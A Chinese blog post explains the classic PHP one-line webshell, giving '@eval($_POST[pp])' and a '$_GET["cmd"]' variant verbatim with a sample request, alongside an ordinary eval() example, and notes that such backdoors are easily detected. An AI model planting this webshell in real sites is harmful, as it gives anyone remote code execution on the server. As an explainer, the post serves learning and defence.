大清早的剛從床上爬起來。雨落就跑來找我問我這段代碼是什么意思<?php @eval($_POST[pp]);?>看了一下,post接收pp的值,抑制錯誤輸出。呵呵開個玩笑,其實不是這么簡單,這是一段PHP木馬代碼,也就是我們所說的后門程序
為什么說這段代碼是后門程序?
其實這段代碼屬于基礎類的一句話,功能僅限于驗證漏洞了,實際中太容易被查出來了,也就是早上雨落直接帶圖說檢測到木馬文件
這個是PHP最常見的一句話木馬的源碼,通過post木馬程序來實現木馬的植入,eval()函數把字符串按照PHP代碼來計算
就這一句話害死人,這樣任何人都可以post任何文件上來,所以要做好防范
eval函數
eval()?函數把字符串按照?PHP?代碼來執行
該字符串必須是合法的?PHP?代碼,且必須以分號結尾
如果沒有在代碼字符串中調用?return?語句,則返回?NULL
如果代碼中存在解析錯誤,則?eval()?函數返回?false
eval函數的一般用法
一般用法也就是平時我們所用的,但是感覺我都不用這個函數,作用相當于Python中的format函數,格式化字符串
$string = "beautiful";
$time = "summer";
$str = 'This is a $string $time morning!';
echo $str. "
";
eval("\$str = \"$str\";");
echo $str;
?>
結果輸出:
This is a $string $time morning!
This is a beautiful summer morning!
eval函數的特殊用法
這就是二般人的用法了,一句話木馬下面我們直接來看實例,新建一個php文件,寫入如下代碼
@eval($_GET["cmd"]);
?>
加上@符來抑制錯誤輸出,來訪問?cmd=echo 'hello,world!';這個路徑,就會看到輸出
查看PHP的信息:pathinfo()
post提交同理,原理就是上面說的,將字符串按照?PHP?代碼來執行了,這是最簡單的一種PHP一句話木馬程序代碼,也感覺是最弱智的。。。
任何個人或團體,未經允許禁止轉載本文:《PHP的一句話木馬代碼和函數eval的簡介》,謝謝合作!